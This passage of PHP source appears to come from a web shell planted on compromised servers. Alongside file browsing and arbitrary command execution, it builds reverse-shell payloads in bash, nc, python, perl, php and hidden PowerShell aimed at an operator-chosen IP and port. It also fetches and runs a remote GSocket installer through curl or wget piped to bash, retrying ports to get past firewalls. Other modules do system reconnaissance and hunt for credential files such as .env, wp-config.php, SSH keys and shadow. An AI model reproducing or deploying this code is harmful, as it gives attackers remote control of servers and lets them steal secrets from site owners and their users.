0 && $path[0] === \’/\’) {
$path = preg_replace(\’#/+#\’, \’/\’, $path);
return $path;
}
// Original relative path logic
$path = str_replace(array(\’\’, \”\\0\”), array(\’/\’, \’\’), $path);
$path = trim($path, \’/\’);
$parts = array_filter(explode(\’/\’, $path), function($p) {
return $p !== \’\’ && $p !== \’.\’;
});
$clean = array();
foreach ($parts as $part) {
if ($part === \’..\’) { array_pop($clean); continue; }
if (preg_match(\’/[\\x00-\\x1f]/\’, $part)) continue;
$clean[] = $part;
}
return implode(\’/\’, $clean);
}
function resolvePath($baseDir, $relPath, $mustExist = true)
{
$rel = sanitizeRelPath($relPath);
// Handle absolute Windows paths (C:/, D:/, etc)
if (preg_match(\’/^[A-Za-z]:\\//\’, $rel)) {
// Convert to system path
$full = str_replace(\’/\’, DIRECTORY_SEPARATOR, $rel);
if ($mustExist) {
$real = realpath($full);
if ($real !== false) {
return $real;
}
return null;
} else {
// Check if parent exists
$parent = dirname($full);
if (is_dir($parent) || is_dir($full)) {
return $full;
}
return null;
}
}
// Handle absolute Linux paths
if (strlen($rel) > 0 && $rel[0] === \’/\’) {
if ($mustExist) {
$real = realpath($rel);
if ($real !== false) {
return $real;
}
return null;
} else {
$parent = dirname($rel);
if (is_dir($parent) || is_dir($rel)) {
return $rel;
}
return null;
}
}
// Handle relative paths
$full = $rel === \’\’ ? $baseDir : $baseDir . DIRECTORY_SEPARATOR . str_replace(\’/\’, DIRECTORY_SEPARATOR, $rel);
$real = $mustExist ? realpath($full) : (is_file($full) || is_dir($full) ? realpath($full) : null);
if ($real === false || $real === null) {
if (!$mustExist) {
$parent = dirname($full);
$parentReal = realpath($parent);
$baseDirNormalized = str_replace(\’\’, \’/\’, $baseDir);
$parentRealNormalized = $parentReal ? str_replace(\’\’, \’/\’, $parentReal) : \’\’;
if ($parentReal && strpos($parentRealNormalized, $baseDirNormalized) === 0) {
return $full;
}
}
return null;
}
$realNormalized = str_replace(\’\’, \’/\’, $real);
$baseDirNormalized = str_replace(\’\’, \’/\’, $baseDir);
$starts = strpos($realNormalized, $baseDirNormalized) === 0;
return $starts ? $real : null;
}
function formatBytes($bytes)
{
$bytes = (int)$bytes;
if ($bytes < 1024) return $bytes . \' B\';
$units = array(\'KB\', \'MB\', \'GB\', \'TB\');
$v = $bytes / 1024;
foreach ($units as $u) {
if ($v < 1024) return number_format($v, $v >= 100 ? 0 : 1) . \’ \’ . $u;
$v /= 1024;
}
return number_format($v, 1) . \’ PB\’;
}
function fileIcon($name, $dir)
{
if ($dir) return \’folder\’;
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
$iconMap = array(
\’php\’ => \’php\’, \’phtml\’ => \’php\’,
\’js\’ => \’js\’, \’mjs\’ => \’js\’, \’ts\’ => \’js\’, \’tsx\’ => \’js\’, \’jsx\’ => \’js\’,
\’css\’ => \’css\’, \’scss\’ => \’css\’, \’sass\’ => \’css\’, \’less\’ => \’css\’,
\’html\’ => \’html\’, \’htm\’ => \’html\’,
\’json\’ => \’config\’, \’yaml\’ => \’config\’, \’yml\’ => \’config\’,
\’xml\’ => \’config\’, \’toml\’ => \’config\’, \’env\’ => \’config\’, \’ini\’ => \’config\’,
\’md\’ => \’text\’, \’txt\’ => \’text\’, \’log\’ => \’text\’,
\’png\’ => \’image\’, \’jpg\’ => \’image\’, \’jpeg\’ => \’image\’,
\’gif\’ => \’image\’, \’webp\’ => \’image\’, \’svg\’ => \’image\’, \’ico\’ => \’image\’,
\’zip\’ => \’archive\’, \’rar\’ => \’archive\’, \’7z\’ => \’archive\’,
\’tar\’ => \’archive\’, \’gz\’ => \’archive\’,
\’sql\’ => \’database\’, \’db\’ => \’database\’,
);
return isset($iconMap[$ext]) ? $iconMap[$ext] : \’file\’;
}
function isTextFile($path)
{
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$text = array(\’php\’,\’phtml\’,\’js\’,\’mjs\’,\’ts\’,\’tsx\’,\’jsx\’,\’css\’,\’scss\’,\’sass\’,\’less\’,\’html\’,\’htm\’,
\’json\’,\’yaml\’,\’yml\’,\’xml\’,\’toml\’,\’env\’,\’ini\’,\’md\’,\’txt\’,\’log\’,\’sql\’,\’htaccess\’,\’gitignore\’,\’csv\’);
if (in_array($ext, $text, true)) return true;
$size = filesize($path);
if ($size === false || $size > 512000) return false;
$fh = fopen($path, \’rb\’);
if (!$fh) return false;
$chunk = fread($fh, 8192); fclose($fh);
return $chunk !== false && !preg_match(\’/[\\x00-\\x08\\x0e-\\x1f]/\’, $chunk);
}
function listEntries($dir)
{
$items = array();
$h = @opendir($dir);
if (!$h) return $items;
while (($name = readdir($h)) !== false) {
if ($name === \’.\’ || $name === \’..\’) continue;
$full = $dir . DIRECTORY_SEPARATOR . $name;
$isDir = is_dir($full);
$perm = substr(sprintf(\’%o\’, fileperms($full)), -4);
$sz = @filesize($full);
$mt = @filemtime($full);
$items[] = array(
\’name\’ => $name,
\’is_dir\’ => $isDir,
\’size\’ => $isDir ? null : (int)($sz ? $sz : 0),
\’modified\’ => (int)($mt ? $mt : time()),
\’icon\’ => fileIcon($name, $isDir),
\’perm\’ => $perm,
\’editable\’ => !$isDir && isTextFile($full),
);
}
closedir($h);
usort($items, function ($a, $b) {
if ($a[\’is_dir\’] !== $b[\’is_dir\’]) return $a[\’is_dir\’] ? -1 : 1;
return strcasecmp($a[\’name\’], $b[\’name\’]);
});
return $items;
}
function runTerminal($command, $cwd)
{
if (!function_exists(\’proc_open\’)) {
return array(\’output\’ => \’proc_open() is disabled on this server.\’, \’exit_code\’ => 1);
}
$descriptors = array(0 => array(\’pipe\’,\’r\’), 1 => array(\’pipe\’,\’w\’), 2 => array(\’pipe\’,\’w\’));
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$cmd = $isWin ? \’cmd /C \’ . $command : $command;
$pipes = array();
$proc = @proc_open($cmd, $descriptors, $pipes, $cwd);
if (!is_resource($proc)) return array(\’output\’ => \’Failed to execute.\’, \’exit_code\’ => 1);
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]); fclose($pipes[1]);
$stderr = stream_get_contents($pipes[2]); fclose($pipes[2]);
$code = proc_close($proc);
$stdout = $stdout ? $stdout : \’\’;
$stderr = $stderr ? $stderr : \’\’;
$sep = ($stdout !== \’\’ && $stderr !== \’\’) ? \”\\n\” : \’\’;
$out = trim($stdout . $sep . $stderr);
if ($out === \’\’) {
$out = ($code === 0) ? \'(no output)\’ : \’\’;
}
return array(\’output\’ => $out, \’exit_code\’ => $code);
}
function searchFiles($baseDir, $relDir, $query, &$results, &$count, $limit = 200)
{
if ($count >= $limit) return;
$dir = resolvePath($baseDir, $relDir);
if (!$dir || !is_dir($dir)) return;
$h = @opendir($dir);
if (!$h) return;
while (($name = readdir($h)) !== false) {
if ($name === \’.\’ || $name === \’..\’) continue;
if ($count >= $limit) break;
$full = $dir . DIRECTORY_SEPARATOR . $name;
$itemRel = $relDir === \’\’ ? $name : $relDir . \’/\’ . $name;
if (stripos($name, $query) !== false) {
$isDir = is_dir($full);
$sz = @filesize($full);
$results[] = array(
\’path\’ => $itemRel,
\’name\’ => $name,
\’is_dir\’ => $isDir,
\’icon\’ => fileIcon($name, $isDir),
\’size\’ => $isDir ? null : (int)($sz ? $sz : 0),
);
$count++;
}
if (is_dir($full)) searchFiles($baseDir, $itemRel, $query, $results, $count, $limit);
}
closedir($h);
}
function getCrontab()
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if ($isWin) {
$result = runTerminal(\’schtasks /query /fo LIST\’, $GLOBALS[\’baseDir\’]);
return array(\’content\’ => $result[\’output\’], \’platform\’ => \’windows\’, \’editable\’ => false);
}
$result = runTerminal(\’crontab -l 2>&1\’, $GLOBALS[\’baseDir\’]);
$out = $result[\’output\’];
if (stripos($out, \’no crontab\’) !== false) {
$out = \’\’;
}
return array(\’content\’ => $out, \’platform\’ => \’unix\’, \’editable\’ => true);
}
function setCrontab($content)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if ($isWin) {
return array(\’ok\’ => false, \’error\’ => \’Edit crontab on Windows via schtasks in Terminal.\’);
}
$tmp = tempnam(sys_get_temp_dir(), \’cron\’);
if ($tmp === false) {
return array(\’ok\’ => false, \’error\’ => \’Cannot create temp file\’);
}
file_put_contents($tmp, rtrim((string)$content) . \”\\n\”);
$result = runTerminal(\’crontab \’ . escapeshellarg($tmp), $GLOBALS[\’baseDir\’]);
@unlink($tmp);
if ($result[\’exit_code\’] !== 0) {
return array(\’ok\’ => false, \’error\’ => $result[\’output\’] ? $result[\’output\’] : \’Failed to save crontab\’);
}
return array(\’ok\’ => true);
}
function parsePortList($spec, $max = 500)
{
$ports = array();
foreach (explode(\’,\’, (string)$spec) as $part) {
$part = trim($part);
if ($part === \’\’) continue;
if (preg_match(\’/^(\\d+)\\s*-\\s*(\\d+)$/\’, $part, $m)) {
$start = max(1, min(65535, (int)$m[1]));
$end = max(1, min(65535, (int)$m[2]));
if ($start > $end) { $t = $start; $start = $end; $end = $t; }
for ($p = $start; $p <= $end && count($ports) < $max; $p++) {
$ports[$p] = $p;
}
} elseif (preg_match(\'/^\\d+$/\', $part)) {
$p = (int)$part;
if ($p >= 1 && $p <= 65535 && count($ports) < $max) {
$ports[$p] = $p;
}
}
}
return array_values($ports);
}
function scanPorts($host, $portsSpec, $timeout = 1)
{
$host = trim((string)$host);
if ($host === \'\' || !preg_match(\'/^[a-zA-Z0-9.\\-_]+$/\', $host)) {
return array(\'ok\' => false, \’error\’ => \’Invalid host\’);
}
$timeout = max(1, min(5, (int)$timeout));
$ports = parsePortList($portsSpec, 500);
if (empty($ports)) {
return array(\’ok\’ => false, \’error\’ => \’No valid ports (e.g. 22,80,443 or 1-1024)\’);
}
$open = array();
$ip = @gethostbyname($host);
foreach ($ports as $port) {
$conn = @fsockopen($host, $port, $errno, $errstr, $timeout);
if ($conn) {
$open[] = (int)$port;
fclose($conn);
}
}
sort($open);
return array(\’ok\’ => true, \’host\’ => $host, \’ip\’ => $ip, \’open\’ => $open, \’scanned\’ => count($ports));
}
function startBackconnect($ip, $port, $method)
{
$ip = trim((string)$ip);
$port = (int)$port;
$method = strtolower(trim((string)$method));
if ($ip === \’\’ || !preg_match(\’/^[a-zA-Z0-9.\\-_]+$/\’, $ip)) {
return array(\’ok\’ => false, \’error\’ => \’Invalid IP/hostname\’);
}
if ($port < 1 || $port > 65535) {
return array(\’ok\’ => false, \’error\’ => \’Invalid port\’);
}
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$payloads = array(
\’bash\’ => \”bash -c \’bash -i >& /dev/tcp/{$ip}/{$port} 0>&1\’\”,
\’nc\’ => \”rm -f /tmp/.bc;mkfifo /tmp/.bc;cat /tmp/.bc|/bin/sh -i 2>&1|nc {$ip} {$port} >/tmp/.bc\”,
\’python\’ => \”python -c \’import socket,subprocess,os;s=socket.socket();s.connect((\”{$ip}\”,{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\”/bin/sh\”,\”-i\”])\’\”,
\’perl\’ => \”perl -e \’use Socket;\\$i=\”{$ip}\”;\\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\\$p,inet_aton(\\$i)))){open(STDIN,\”>&S\”);open(STDOUT,\”>&S\”);open(STDERR,\”>&S\”);exec(\”/bin/sh -i\”);};\’\”,
\’php\’ => \”php -r \’\\$s=fsockopen(\”{$ip}\”,{$port});proc_open(\”/bin/sh -i\”,array(0=>\\$s,1=>\\$s,2=>\\$s),\\$p);\’\”,
);
if ($isWin) {
$payloads[\’powershell\’] = \”powershell -nop -W hidden -c \”\\$c=New-Object Net.Sockets.TCPClient(\'{$ip}\’,{$port});\\$s=\\$c.GetStream();[byte[]]\\$b=0..65535|%{0};while((\\$i=\\$s.Read(\\$b,0,\\$b.Length)) -ne 0){;\\$d=(New-Object Text.ASCIIEncoding).GetString(\\$b,0,\\$i);\\$r=(iex \\$d 2>&1|Out-String);\\$r2=\\$r+\’PS \’+(pwd).Path+\’> \’;\\$sb=([Text.Encoding]::ASCII).GetBytes(\\$r2);\\$s.Write(\\$sb,0,\\$sb.Length)}\”\”;
$payloads[\’nc\’] = \”nc.exe {$ip} {$port} -e cmd.exe\”;
}
if (!isset($payloads[$method])) {
return array(\’ok\’ => false, \’error\’ => \’Unknown method\’);
}
$cmd = $payloads[$method];
if ($isWin) {
@pclose(@popen(\’start /B \’ . $cmd, \’r\’));
} else {
@exec($cmd . \’ > /dev/null 2>&1 &\’);
}
return array(\’ok\’ => true, \’message\’ => \’Backconnect started (\’ . $method . \’) → \’ . $ip . \’:\’ . $port);
}
function gsocketIsFirewalled($output)
{
$out = strtolower((string)$output);
return strpos($out, \’cannot connect to gsrn\’) !== false
|| (strpos($out, \’firewalled\’) !== false && strpos($out, \’gsrn\’) !== false);
}
function gsocketBuildCommand($method, $port = null)
{
$method = strtolower(trim((string)$method));
if ($method === \’wget\’) {
$inner = \’wget –no-check-certificate -qO- https://gsocket.io/y\’;
} else {
$method = \’curl\’;
$inner = \’curl -fsSLk https://gsocket.io/y\’;
}
$prefix = \’GS_NOCERTCHECK=1\’;
if ($port !== null) {
$prefix .= \’ GS_PORT=\’ . (int)$port;
}
return array(
\’command\’ => $prefix . \’ bash -c \”$(\’ . $inner . \’)\”\’,
\’method\’ => $method,
\’port\’ => $port,
);
}
function runGsocket($method)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if ($isWin) {
return array(\’ok\’ => false, \’error\’ => \’GSocket installer requires bash (Linux/Unix).\’);
}
if (!function_exists(\’proc_open\’)) {
return array(\’ok\’ => false, \’error\’ => \’proc_open() is disabled on this server.\’);
}
@set_time_limit(1800);
@ini_set(\’max_execution_time\’, \’1800\’);
$portsToTry = array(null);
for ($p = 22; $p <= 67; $p++) {
$portsToTry[] = $p;
}
$allOutput = \'\';
$attempts = 0;
$successPort = null;
$lastCommand = \'\';
$lastMethod = strtolower(trim((string)$method));
if ($lastMethod !== \'wget\') {
$lastMethod = \'curl\';
}
$lastExit = 1;
$stoppedOnFirewalled = false;
foreach ($portsToTry as $port) {
$built = gsocketBuildCommand($method, $port);
$command = $built[\'command\'];
$lastCommand = $command;
$lastMethod = $built[\'method\'];
$label = ($port === null) ? \'default (no GS_PORT)\' : (\'GS_PORT=\' . $port);
$attempts++;
$result = runTerminal($command, $GLOBALS[\'baseDir\']);
if ($result[\'output\'] === \'Failed to execute.\') {
return array(\'ok\' => false, \’error\’ => \’Failed to execute GSocket installer.\’, \’command\’ => $command);
}
$lastExit = (int)$result[\’exit_code\’];
$firewalled = gsocketIsFirewalled($result[\’output\’]);
$allOutput .= \’=== Attempt \’ . $attempts . \’: \’ . $label . \” ===\\n\”;
$allOutput .= \’$ \’ . $command . \”\\n\\n\”;
$allOutput .= $result[\’output\’] . \”\\n\”;
$allOutput .= \'(exit \’ . $lastExit . \”)\\n\\n\”;
if (!$firewalled) {
$successPort = $port;
$allOutput .= \’=== SUCCESS: GSRN reachable with \’ . $label . \” ===\\n\”;
break;
}
$stoppedOnFirewalled = true;
if ($port !== null && $port >= 67) {
$allOutput .= \”=== FAILED: All ports tried (default + GS_PORT=22..67) — still firewalled ===\\n\”;
}
}
$portLabel = ($successPort === null) ? \’default\’ : (string)$successPort;
return array(
\’ok\’ => true,
\’output\’ => $allOutput,
\’exit_code\’ => $lastExit,
\’command\’ => $lastCommand,
\’method\’ => $lastMethod,
\’gs_port\’ => $successPort,
\’gs_port_label\’ => $portLabel,
\’attempts\’ => $attempts,
\’firewalled\’ => ($successPort === null && $stoppedOnFirewalled),
\’success\’ => ($successPort !== null || !$stoppedOnFirewalled),
);
}
function runSecTool($tool, $input, $baseDir)
{
$tool = strtolower(trim((string)$tool));
switch ($tool) {
case \’recon\’:
return secRecon($baseDir);
case \’sensitive\’:
return secSensitiveScan($baseDir, (string)_v($input, \’path\’, \’\’));
case \’processes\’:
return secProcesses($baseDir);
case \’network\’:
return secNetwork($baseDir);
case \’http\’:
return secHttpRequest(
(string)_v($input, \’url\’, \’\’),
(string)_v($input, \’method\’, \’GET\’),
(string)_v($input, \’headers\’, \’\’),
(string)_v($input, \’body\’, \’\’)
);
case \’hash\’:
return secHash((string)_v($input, \’text\’, \’\’), (string)_v($input, \’algo\’, \’sha256\’));
case \’codec\’:
return secCodec((string)_v($input, \’mode\’, \’b64enc\’), (string)_v($input, \’text\’, \’\’));
case \’dns\’:
return secDns((string)_v($input, \’host\’, \’\’), (string)_v($input, \’type\’, \’ALL\’));
case \’suid\’:
return secSuidFind($baseDir);
default:
return array(\’ok\’ => false, \’error\’ => \’Unknown security tool\’);
}
}
function secRecon($baseDir)
{
$lines = array();
$lines[] = \’=== SYSTEM RECON ===\’;
$lines[] = \’Timestamp : \’ . date(\’Y-m-d H:i:s T\’);
$lines[] = \’PHP : \’ . PHP_VERSION . \’ (\’ . PHP_SAPI . \’)\’;
$lines[] = \’OS : \’ . PHP_OS;
$lines[] = \’Server : \’ . (isset($_SERVER[\’SERVER_SOFTWARE\’]) ? $_SERVER[\’SERVER_SOFTWARE\’] : \’-\’);
$lines[] = \’Hostname : \’ . (function_exists(\’gethostname\’) ? gethostname() : \’-\’);
$lines[] = \’Doc Root : \’ . (isset($_SERVER[\’DOCUMENT_ROOT\’]) ? $_SERVER[\’DOCUMENT_ROOT\’] : \’-\’);
$lines[] = \’Script : \’ . __FILE__;
$lines[] = \’Base Dir : \’ . $baseDir;
$lines[] = \’Client IP : \’ . (isset($_SERVER[\’REMOTE_ADDR\’]) ? $_SERVER[\’REMOTE_ADDR\’] : \’-\’);
$lines[] = \’\’;
$lines[] = \’=== USER / PRIVILEGE ===\’;
$lines[] = \’PHP user : \’ . get_current_user();
if (function_exists(\’posix_geteuid\’)) {
$lines[] = \’UID/EUID : \’ . posix_getuid() . \’ / \’ . posix_geteuid();
$pw = @posix_getpwuid(posix_geteuid());
if ($pw) $lines[] = \’Account : \’ . $pw[\’name\’] . \’ (home: \’ . (isset($pw[\’dir\’]) ? $pw[\’dir\’] : \’-\’) . \’)\’;
$groups = @posix_getgroups();
if ($groups) {
$gn = array();
foreach ($groups as $gid) {
$g = @posix_getgrgid($gid);
$gn[] = $g ? $g[\’name\’] : $gid;
}
$lines[] = \’Groups : \’ . implode(\’, \’, $gn);
}
}
$whoami = runTerminal(\’whoami 2>&1\’, $baseDir);
$lines[] = \’whoami : \’ . trim($whoami[\’output\’]);
$id = runTerminal(\’id 2>&1\’, $baseDir);
$lines[] = \’id : \’ . trim($id[\’output\’]);
$lines[] = \’\’;
$lines[] = \’=== PHP SECURITY ===\’;
$lines[] = \’disable_functions : \’ . (ini_get(\’disable_functions\’) ? ini_get(\’disable_functions\’) : \'(none)\’);
$lines[] = \’open_basedir : \’ . (ini_get(\’open_basedir\’) ? ini_get(\’open_basedir\’) : \'(none)\’);
$lines[] = \’allow_url_fopen : \’ . (ini_get(\’allow_url_fopen\’) ? \’On\’ : \’Off\’);
$lines[] = \’allow_url_include : \’ . (ini_get(\’allow_url_include\’) ? \’On\’ : \’Off\’);
$lines[] = \’display_errors : \’ . (ini_get(\’display_errors\’) ? \’On\’ : \’Off\’);
$lines[] = \’expose_php : \’ . (ini_get(\’expose_php\’) ? \’On\’ : \’Off\’);
$lines[] = \’proc_open : \’ . (function_exists(\’proc_open\’) && !secFuncDisabled(\’proc_open\’) ? \’Available\’ : \’Disabled\’);
$lines[] = \’shell_exec : \’ . (function_exists(\’shell_exec\’) && !secFuncDisabled(\’shell_exec\’) ? \’Available\’ : \’Disabled\’);
$lines[] = \’curl : \’ . (function_exists(\’curl_init\’) ? \’Available\’ : \’Missing\’);
$lines[] = \’PDO : \’ . (class_exists(\’PDO\’) ? \’Available\’ : \’Missing\’);
$lines[] = \’\’;
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if (!$isWin) {
$lines[] = \’=== KERNEL / SYSTEM ===\’;
$uname = runTerminal(\’uname -a 2>&1\’, $baseDir);
$lines[] = trim($uname[\’output\’]);
$lines[] = \’Uptime: \’ . trim(runTerminal(\’uptime 2>&1\’, $baseDir)[\’output\’]);
$lines[] = \’\’;
}
$lines[] = \’=== ENVIRONMENT (selected) ===\’;
$envKeys = array(\’PATH\’, \’HOME\’, \’USER\’, \’LOGNAME\’, \’SHELL\’, \’PWD\’, \’TEMP\’, \’TMP\’, \’HTTP_HOST\’, \’SERVER_NAME\’);
foreach ($envKeys as $k) {
$v = getenv($k);
if ($v !== false && $v !== \’\’) $lines[] = $k . \’=\’ . $v;
}
return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines));
}
function secFuncDisabled($fn)
{
$disabled = ini_get(\’disable_functions\’);
if (!$disabled) return false;
return in_array($fn, array_map(\’trim\’, explode(\’,\’, $disabled)), true);
}
function secSensitiveScan($baseDir, $scanPath)
{
$patterns = array(
\’.env\’, \’.env.local\’, \’.env.production\’, \’.env.backup\’, \’.env.old\’,
\’wp-config.php\’, \’configuration.php\’, \’config.php\’, \’settings.php\’, \’LocalSettings.php\’,
\’database.yml\’, \’secrets.yml\’, \’web.config\’, \’appsettings.json\’, \’local.settings.json\’,
\’id_rsa\’, \’id_dsa\’, \’id_ecdsa\’, \’id_ed25519\’, \’authorized_keys\’, \’.htpasswd\’,
\’docker-compose.yml\’, \’docker-compose.yaml\’, \’.git/config\’, \’passwd\’, \’shadow\’,
\’backup.sql\’, \’dump.sql\’, \’db.sql\’, \’.my.cnf\’, \’pgpass\’, \’.pgpass\’,
);
$roots = array();
if ($scanPath !== \’\’) {
$resolved = resolvePath($baseDir, $scanPath, false);
if ($resolved && @is_dir($resolved)) $roots[] = $resolved;
}
if (empty($roots)) {
$roots[] = $baseDir;
foreach (array(\’/var/www\’, \’/home\’, \’/etc\’, \’/tmp\’, dirname($baseDir)) as $r) {
if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r;
}
}
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$found = array();
if (!$isWin) {
$nameExpr = array();
foreach ($patterns as $p) {
$nameExpr[] = \’-name \’ . escapeshellarg($p);
}
$expr = \’\\( \’ . implode(\’ -o \’, $nameExpr) . \’ \\)\’;
foreach ($roots as $root) {
$cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 7 \’ . $expr . \’ -type f 2>/dev/null | head -60\’;
$out = runTerminal($cmd, $baseDir);
foreach (explode(\”\\n\”, $out[\’output\’]) as $line) {
$line = trim($line);
if ($line !== \’\’ && @is_file($line)) {
$found[$line] = array(
\’path\’ => $line,
\’size\’ => @filesize($line),
\’perm\’ => substr(sprintf(\’%o\’, @fileperms($line)), -4),
\’readable\’ => @is_readable($line),
);
}
}
if (count($found) >= 80) break;
}
} else {
secWalkSensitive($roots[0], $patterns, $found, 0, 6);
}
$lines = array(\’=== SENSITIVE FILE SCAN ===\’, \’Roots: \’ . implode(\’, \’, $roots), \’Found: \’ . count($found), \’\’);
foreach ($found as $item) {
$flag = $item[\’readable\’] ? \'[R]\’ : \'[–]\’;
$lines[] = $flag . \’ \’ . $item[\’perm\’] . \’ \’ . secFormatBytes(isset($item[\’size\’]) ? $item[\’size\’] : 0) . \’ \’ . $item[\’path\’];
}
if (empty($found)) $lines[] = \'(no sensitive files found in scan scope)\’;
return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines), \’count\’ => count($found), \’files\’ => array_values($found));
}
function secWalkSensitive($dir, $patterns, &$found, $depth, $maxDepth)
{
if ($depth > $maxDepth || count($found) >= 80) return;
$h = @opendir($dir);
if (!$h) return;
while (($name = readdir($h)) !== false) {
if ($name === \’.\’ || $name === \’..\’) continue;
$full = $dir . DIRECTORY_SEPARATOR . $name;
if (in_array($name, $patterns, true) && @is_file($full)) {
$found[$full] = array(
\’path\’ => $full,
\’size\’ => @filesize($full),
\’perm\’ => substr(sprintf(\’%o\’, @fileperms($full)), -4),
\’readable\’ => @is_readable($full),
);
}
if (@is_dir($full) && $depth < $maxDepth) {
secWalkSensitive($full, $patterns, $found, $depth + 1, $maxDepth);
}
if (count($found) >= 80) break;
}
closedir($h);
}
function secFormatBytes($bytes)
{
$bytes = (int)$bytes;
if ($bytes < 1024) return $bytes . \'B\';
if ($bytes < 1048576) return round($bytes / 1024, 1) . \'K\';
return round($bytes / 1048576, 1) . \'M\';
}
function secProcesses($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \'WIN\';
$cmd = $isWin ? \'tasklist /V\' : \'ps auxww 2>/dev/null || ps -ef 2>/dev/null\’;
$result = runTerminal($cmd, $baseDir);
return array(\’ok\’ => true, \’output\’ => $result[\’output\’]);
}
function secNetwork($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if ($isWin) {
$cmd = \’netstat -ano\’;
} else {
$cmd = \’ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null || netstat -an 2>/dev/null\’;
}
$result = runTerminal($cmd, $baseDir);
$extra = runTerminal($isWin ? \’ipconfig /all\’ : \’ip addr 2>/dev/null; echo \”—\”; ip route 2>/dev/null\’, $baseDir);
$out = \”=== LISTENING / CONNECTIONS ===\\n\” . $result[\’output\’] . \”\\n\\n=== INTERFACES / ROUTES ===\\n\” . $extra[\’output\’];
return array(\’ok\’ => true, \’output\’ => $out);
}
function secHttpRequest($url, $method, $headersRaw, $body)
{
$url = trim($url);
if ($url === \’\’ || !preg_match(\’#^https?://#i\’, $url)) {
return array(\’ok\’ => false, \’error\’ => \’URL must start with http:// or https://\’);
}
$method = strtoupper(trim($method));
if (!in_array($method, array(\’GET\’, \’POST\’, \’PUT\’, \’PATCH\’, \’DELETE\’, \’HEAD\’, \’OPTIONS\’), true)) {
return array(\’ok\’ => false, \’error\’ => \’Invalid HTTP method\’);
}
if (function_exists(\’curl_init\’)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if ($body !== \’\’ && in_array($method, array(\’POST\’, \’PUT\’, \’PATCH\’), true)) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
}
$hdrs = array();
foreach (preg_split(\’/\\r?\\n/\’, $headersRaw) as $line) {
$line = trim($line);
if ($line !== \’\’) $hdrs[] = $line;
}
if (!empty($hdrs)) curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs);
$resp = curl_exec($ch);
$err = curl_error($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($resp === false) return array(\’ok\’ => false, \’error\’ => $err ? $err : \’Request failed\’);
$out = \”=== HTTP RESPONSE ===\\n\”;
$out .= \’URL : \’ . $url . \”\\n\”;
$out .= \’Method : \’ . $method . \”\\n\”;
$out .= \’Code : \’ . (isset($info[\’http_code\’]) ? $info[\’http_code\’] : \’?\’) . \”\\n\”;
$out .= \’Time : \’ . (isset($info[\’total_time\’]) ? round($info[\’total_time\’], 3) . \’s\’ : \’?\’) . \”\\n\\n\”;
$out .= $resp;
return array(\’ok\’ => true, \’output\’ => $out);
}
$cmd = \’curl -sS -k -i -X \’ . escapeshellarg($method);
foreach (preg_split(\’/\\r?\\n/\’, $headersRaw) as $line) {
$line = trim($line);
if ($line !== \’\’) $cmd .= \’ -H \’ . escapeshellarg($line);
}
if ($body !== \’\’ && in_array($method, array(\’POST\’, \’PUT\’, \’PATCH\’), true)) {
$cmd .= \’ –data \’ . escapeshellarg($body);
}
$cmd .= \’ \’ . escapeshellarg($url);
$result = runTerminal($cmd, $GLOBALS[\’baseDir\’]);
return array(\’ok\’ => true, \’output\’ => $result[\’output\’]);
}
function secHash($text, $algo)
{
$algos = array(\’md5\’, \’sha1\’, \’sha256\’, \’sha512\’, \’crc32\’);
$algo = strtolower(trim($algo));
if (!in_array($algo, $algos, true)) {
return array(\’ok\’ => false, \’error\’ => \’Invalid algorithm\’);
}
if ($algo === \’crc32\’) {
$hash = sprintf(\’%u\’, crc32($text));
} else {
$hash = hash($algo, $text);
}
$out = \”=== HASH ($algo) ===\\nInput length: \” . strlen($text) . \” bytes\\n\\n\” . $hash;
return array(\’ok\’ => true, \’output\’ => $out, \’hash\’ => $hash, \’algo\’ => $algo);
}
function secCodec($mode, $text)
{
$mode = strtolower(trim($mode));
$result = \’\’;
switch ($mode) {
case \’b64enc\’:
$result = base64_encode($text);
break;
case \’b64dec\’:
$decoded = base64_decode($text, true);
if ($decoded === false) return array(\’ok\’ => false, \’error\’ => \’Invalid Base64\’);
$result = $decoded;
break;
case \’urlenc\’:
$result = rawurlencode($text);
break;
case \’urldec\’:
$result = rawurldecode($text);
break;
case \’rot13\’:
$result = str_rot13($text);
break;
case \’hexenc\’:
$result = bin2hex($text);
break;
case \’hexdec\’:
if (!preg_match(\’/^[0-9a-fA-F\\s]+$/\’, $text)) {
return array(\’ok\’ => false, \’error\’ => \’Invalid hex string\’);
}
$clean = preg_replace(\’/\\s+/\’, \’\’, $text);
if (strlen($clean) % 2 !== 0) return array(\’ok\’ => false, \’error\’ => \’Odd-length hex\’);
$result = pack(\’H*\’, $clean);
break;
default:
return array(\’ok\’ => false, \’error\’ => \’Unknown codec mode\’);
}
